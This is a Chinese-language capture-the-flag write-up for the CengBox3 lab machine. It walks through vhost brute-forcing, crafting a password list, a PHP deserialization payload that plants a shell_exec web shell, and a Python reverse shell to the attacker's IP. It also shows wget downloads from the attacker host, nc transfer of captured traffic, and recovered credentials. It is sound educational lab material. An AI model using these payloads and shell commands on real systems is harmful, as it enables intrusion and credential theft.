目录
信息搜集
扫描网段发现存活主机
扫描IP地址发现开启端口及服务
这边可以看到虽然有ssh服务但是是关闭状态,只有http和https
访问网站
除了一个输入框可以输入以外并没有找到别的东西
https是一样的网站没有什么不同
扫描网站
dirsearch -u http://192.168.179.156/
查看后没有发现有用信息,感觉很奇怪。不应该啊 转过头重新去看扫描网站的相信信息,随即发现第一次没有发现的重点
这边的意思是需要将该域名与IP地址访问然后访问该的域名:等于一个IP绑定多个域名通过不同的host头部来决定发给哪个网站
修改host文件并访问该域名
vim /etc/hosts
绑定IP与域名
访问该域名
仍然是和主站一样的页面没有什么不同
扫描该域名
dirsearch -u http://ceng-company.vm/
还是一样的结果。但是就在想会不会还绑定了隐藏的域名
尝试爆破旁站
gobuster vhost -k -u https://ceng-company.vm/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
####
gobuster 是一款基于go语言编写的爆破工具,可爆破的对象包括
1、目标站点中的URI(目录或文件);
2、DNS子域名(支持通配符);
3、目标Web服务器的虚拟主机名(VHost);
发现新的域名:dev.ceng-company.vm
将该域名与IP地址保定并访问,然后扫描该域名
vim /etc/hosts
访问该域名
ohhhhhhh,终于找到了,这登录进去应该就该网站的后台了
这边应该只能是爆破了,我尝试了sqlmap跑了一下但是没跑出来(也可能是我个人问题,别的师傅们好像也有跑出来的),回过头在仔细去原来的页面上搜集一波信息
这两位好像比别人多了个连接点进去看看
可以尝试猜解组合该用户名为:ElizabethSky@ceng-company.vm
密码则爬取当前页面的敏感信息为字典
cewl https://www.reddit.com/user/ElizabethSky_ > /tmp/user.txt
#####
用户名:elizabethsky@ceng-company.vm
密码:walnuttree
网络原因一直爬不到我也不知道为什么。但是我保证我是成功过的,然后使用爆破工具去暴力破解(bp,九头蛇都可),最好将用户名也整一个字典,在位置的情况下多一种尝试就多一种可能性,什么大小写啊之类的东西都要考虑到,但是我这边是没有办法演示了
好的现在我们成功快进到登录后台以后的界面
点击add随便输入点什么
点击here
经过反复的查看,再回到
首先最下面哪个是反序列化函数,然后最上面哪个红框是一个魔法函数意思就是执行完反序列化之后执行该函数内的内容
那就很明了了,就是反序列化漏洞呗
在这个页面中的url地址栏中的后面是有序列化语句的只不过被url编码过了
O%3A4%3A"Poem"%3A3%3A{s%3A8%3A"poemName"%3Bs%3A3%3A"ada"%3Bs%3A10%3A"isPoetrist"%3BO%3A8%3A"poemFile"%3A2%3A{s%3A8%3A"filename"%3Bs%3A22%3A"%2Fvar%2Fwww%2Fhtml%2Fpoem.txt"%3Bs%3A8%3A"poemName"%3Bs%3A3%3A"ada"%3B}s%3A9%3A"poemLines"%3Bs%3A5%3A"adadd"%3B}
####
url解码后
O:4:"Poem":3:{s:8:"poemName";s:3:"ada";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"filename";s:22:"/var/www/html/poem.txt";s:8:"poemName";s:3:"ada";}s:9:"poemLines";s:5:"adadd";}
构造payload
O:4:"Poem":3:{s:8:"poemName";s:4:"ada";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"filename";s:22:"/var/www/html/poem.php";s:8:"poemName";s:47:"<?php echo shell_exec($_GET['cmd'].' 2>&1'); ?>";}s:9:"poemLines";s:4:"adadd";}
####
再经过url编码
O%3A4%3A%22Poem%22%3A3%3A%7Bs%3A8%3A%22poemName%22%3Bs%3A4%3A%22test%22%3Bs%3A10%3A%22isPoetrist%22%3BO%3A8%3A%22poemFile%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A22%3A%22%2Fvar%2Fwww%2Fhtml%2Fpoem.php%22%3Bs%3A8%3A%22poemName%22%3Bs%3A47%3A%22%3C%3Fphp%20echo%20shell_exec(%24_GET%5B%27cmd%27%5D.%27%202%3E%261%27)%3B%20%3F%3E%22%3B%7Ds%3A9%3A%22poemLines%22%3Bs%3A4%3A%22tets%22%3B%7D
####
最后拼接到url中
http://dev.ceng-company.vm/addpoem.php?data=O%3A4%3A%22Poem%22%3A3%3A%7Bs%3A8%3A%22poemName%22%3Bs%3A4%3A%22test%22%3Bs%3A10%3A%22isPoetrist%22%3BO%3A8%3A%22poemFile%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A22%3A%22%2Fvar%2Fwww%2Fhtml%2Fpoem.php%22%3Bs%3A8%3A%22poemName%22%3Bs%3A47%3A%22%3C%3Fphp%20echo%20shell_exec(%24_GET%5B%27cmd%27%5D.%27%202%3E%261%27)%3B%20%3F%3E%22%3B%7Ds%3A9%3A%22poemLines%22%3Bs%3A4%3A%22tets%22%3B%7D
###访问页面
http://ceng-company.vm/poem.php?cmd=id
成功执行
漏洞利用
反弹shell
查看目标主机上是否有python环境
http://ceng-company.vm/poem.php?cmd=which%20python
http://ceng-company.vm/poem.php?cmd=which%20python3
存在python3环境
使用python3语句反弹shell
在kali段监听端口
nc lvnp 1234
执行反弹语句
python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.179.145",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
####
拼接到url
http://ceng-company.vm/poem.php?cmd=python3%20-c%20%27import%20socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.179.145%22,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(%22/bin/sh%22)%27
getshell
寻找flag
唯一一个账号还进不去。只能考虑提权了
提权
介绍两个脚本
linpeas.sh
下载地址:https://github.com/carlospolop/PEASS-ng
简单介绍就是可以枚举linux操作系统几乎所有的可提权项,非常好用
pspy64
下载地址:https://github.com/DominicBreuker/pspy/releases
pspy是一个命令行工具,它可以在没有root权限的情况先,监视linux进程
将脚本下载到目标靶机
在kali上起一个http服务
python -m SimpleHTTPServer 8000
在目标主机上下载
wget http://192.168.179.145:8000/linpeas.sh
wget http://192.168.179.145:8000/pspy64
给脚本一个执行权限并运行该脚本
chmod +x linpeas.sh
./linpeas.sh
chmod +x pspy64
./pspy64
查看opt文件下login.py文件
cd /opt
ls -al
抓取环回接口中的数据并分析
tcpdump:dump the traffic on a network,根据使用者的定义对网络上的数据包进行截获的包分析工具。 tcpdump可以将网络中传送的数据包的“头”完全截获下来提供分析。它支持针对网络层、协议、主机、网络或端口的过滤,并提供and、or、not等逻辑语句来帮助你去掉无用的信息。
tcpdump -i lo -w cengbox.pcapng
#####
抓取第一个环回接口中的数据包并生成为cengbox.pcapng文件
使用nc工具将该文件回转到kali上并分析
在kali监听该文件
nc -lvnp 1235 > cengbox.pcapng
在目标靶机上传到该IP
nc 192.168.179.145 1235 < cengbox.pcapng
使用wireshark分析该数据包
发现eric的账号密码
用户名:eric
密码:3ricThompson*Covid19
###
需要将密码中的%2A转换为*号
登录eric并找到flag文件
su eric
3ricThompson*Covid19
cd /home
cd eric
ls -al
cat user.txt
#########
flag(6744e509eec439570c2d6df947526749)
总结
就先到这里吧,这个靶机我没有做完,这边后续还有一个提到root权限才能得到的flag。我这边因为环境原因后续的一些操作做不了所以就先到这吧。这个靶机感觉还挺难的好多东西都是第一次接触,比如说一个IP绑定多个域名从而可以访问到不同的网站,还有反序列化漏洞感觉经过这次练习就理解的更深刻了,后续提权是重点,学习到了两个非常厉害的脚本,还有一种之前没有尝试过的提权思路,总之收获还是挺多的
参考文章
https://www.youtube.com/watch?v=J3BKFBh0NsY
https://securitymv.medium.com/cengbox3-writeup-972a1de556d5
最后推荐大家去看视频,视频比较详细,每一步操作都不会拉下更便于理解